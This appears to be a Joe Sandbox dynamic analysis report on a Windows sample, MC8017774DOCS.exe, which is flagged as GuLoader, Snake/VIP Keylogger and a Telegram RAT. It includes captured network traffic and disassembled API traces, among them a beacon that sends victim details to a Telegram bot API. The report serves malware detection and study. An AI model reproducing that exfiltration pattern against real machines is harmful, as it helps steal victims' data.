2024-11-25 06:10:21 UTC	845	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:21 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478930 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V9xrbQOYZj6fAmfFiW7l02dk5arnAdGjyH2osUp9B1N8bnHA492uq0d72q5zhx4OQNzZRYYS4zZC0WCdP2Oprke3qN7BhQXvWDkOFbG53vtM1ERQGVciG45yNp8KquM8nEOTIadV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f79a2f82e8cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1972&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1360037&cwnd=165&unsent_bytes=0&cid=5ab10eb46a64bbe5&ts=472&x=0"
2024-11-25 06:10:21 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49890	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:24 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:10:24 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:24 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478933 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AHlPrWgRLyG%2B10mPLICEKnjCr%2F78Mu9r27apIFZeiLe0G7im3XB4XRETPSuJNhKz1l4HRaxAt8FafCq%2BO1zS%2BnVvKKq5wUCy%2BdcQA0mY5vXNU9abGBr6v1QUvJW61lSVgmpNOvzm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f79b77b3a0cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1760096&cwnd=146&unsent_bytes=0&cid=6aefe757e1a600ad&ts=458&x=0"
2024-11-25 06:10:24 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49902	172.67.177.134	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:27 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:10:28 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:10:28 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478937 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlQ1hsLsWqo0OPhQKS%2FZ2TPaSG1XiK%2F%2BH8Q%2FrztXHsvaEe4gigINaQTbNsY7LDh1IyCLQoSGvveaj1jOTPoUg1N7m%2BC4V1Tgwky20HB0pgfWclOiMeUnjVREtnHnQQVPBzwE6lKy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f79ce8b364228-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1634023&cwnd=194&unsent_bytes=0&cid=c99305673940036f&ts=466&x=0"
2024-11-25 06:10:28 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49907	149.154.167.220	443	4488	C:\Users\user\Desktop\MC8017774DOCS.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:10:30 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20and%20Time:%2026/11/2024%20/%2015:27:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20506013%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-25 06:10:30 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 06:10:30 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 06:10:30 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	01:09:07
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\MC8017774DOCS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MC8017774DOCS.exe"
Imagebase:	0x400000
File size:	567'152 bytes
MD5 hash:	D4C19E96D83BD586016A3BE2E3A57F1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_3, Description: Yara detected GuLoader, Source: 00000000.00000002.2522145206.0000000000848000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2522664351.00000000037E7000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:09:39
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\MC8017774DOCS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MC8017774DOCS.exe"
Imagebase:	0x400000
File size:	567'152 bytes
MD5 hash:	D4C19E96D83BD586016A3BE2E3A57F1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	1557
Total number of Limit Nodes:	39

Executed Functions

Function 0040336C Relevance: 86.2, APIs: 32, Strings: 17, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0040338F
GetVersion.KERNEL32 ref: 00403395
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033C8
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403405
OleInitialize.OLE32(00000000), ref: 0040340C
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403428
GetCommandLineW.KERNEL32(007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 0040343D
CharNextW.USER32(00000000,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000020,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000,?,00000006,00000008,0000000A), ref: 00403475

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035AF
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035C0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035CC
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035E0
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035E8
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035F9
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403601
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 00403615

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036E0
ExitProcess.KERNEL32 ref: 00403701
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403714
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403723
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040372E
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\MC8017774DOCS.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040373A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403756
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,00000008,?,00000006,00000008,0000000A), ref: 004037B0
CopyFileW.KERNEL32(C:\Users\user\Desktop\MC8017774DOCS.exe,0079F6E0,00000001,?,00000006,00000008,0000000A), ref: 004037C4
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,00000008,0000000A), ref: 004037F1
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403820
OpenProcessToken.ADVAPI32(00000000), ref: 00403827
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040383C
AdjustTokenPrivileges.ADVAPI32 ref: 0040385F
ExitWindowsEx.USER32(00000002,80040002), ref: 00403884
ExitProcess.KERNEL32 ref: 004038A7

Strings

~nsu, xrefs: 0040370C
1033, xrefs: 00403610
C:\Users\user\AppData\Local\Temp\, xrefs: 004035A4, 004035A9, 004035BF, 004035CB, 004035DA, 004035E7, 004035F3, 004035FB, 00403711, 00403722, 0040372D, 00403739, 00403746, 00403755, 00403806
SeShutdownPrivilege, xrefs: 00403836
UXTHEME, xrefs: 004033BC, 004033C1, 004033C7
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 004036BD
TEMP, xrefs: 004035F4
Error launching installer, xrefs: 00403697
TMP, xrefs: 004035FC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403592, 004036B2, 0040375C, 00403766
NSIS Error, xrefs: 0040342E
C:\Users\user\Desktop\MC8017774DOCS.exe, xrefs: 004037BF
C:\Users\user\Desktop, xrefs: 00403733, 00403738, 00403765
Low, xrefs: 004035E2
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 00403443, 00403449, 0040363D
.tmp, xrefs: 00403728
\Temp, xrefs: 004035C6

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\MC8017774DOCS.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-4081784568
Opcode ID: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction ID: 91e47d7dade8a9784fbcad93861d46a8301334ec9f5f2e607ded2091cc9dec5c
Opcode Fuzzy Hash: d8beda2cf6d53e1c23663c7b3f0cac31a10eecbcac031cdf32090e7074c6eb08
Instruction Fuzzy Hash: 04D12671600300ABD720BF719D45B2B3AACEB8174AF00887FF981B62D1DB7D8955876E

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,000000FC,00405273), ref: 00404D14
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,000000F0), ref: 00404EAC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,00000001), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

N, xrefs: 00404F06
M, xrefs: 00404E25
, xrefs: 00405234

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: 7bba4bc50886af6ee4f9e8a9478083b1cbee84b53dc979653cd125d1348ee930
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 6E9B1B63 Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E9B121B: GlobalAlloc.KERNELBASE(00000040,?,6E9B123B,?,6E9B12DF,00000019,6E9B11BE,-000000A0), ref: 6E9B1225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 6E9B1C6F
lstrcpyW.KERNEL32(00000008,?), ref: 6E9B1CB7
lstrcpyW.KERNEL32(00000808,?), ref: 6E9B1CC1
GlobalFree.KERNEL32(00000000), ref: 6E9B1CD4
GlobalFree.KERNEL32(?), ref: 6E9B1DB6
GlobalFree.KERNEL32(?), ref: 6E9B1DBB
GlobalFree.KERNEL32(?), ref: 6E9B1DC0
GlobalFree.KERNEL32(00000000), ref: 6E9B1FAA
lstrcpyW.KERNEL32(?,?), ref: 6E9B2144
GetModuleHandleW.KERNEL32(00000008), ref: 6E9B21B9
LoadLibraryW.KERNEL32(00000008), ref: 6E9B21CA
GetProcAddress.KERNEL32(?,?), ref: 6E9B2224
lstrlenW.KERNEL32(00000808), ref: 6E9B223E

Memory Dump Source

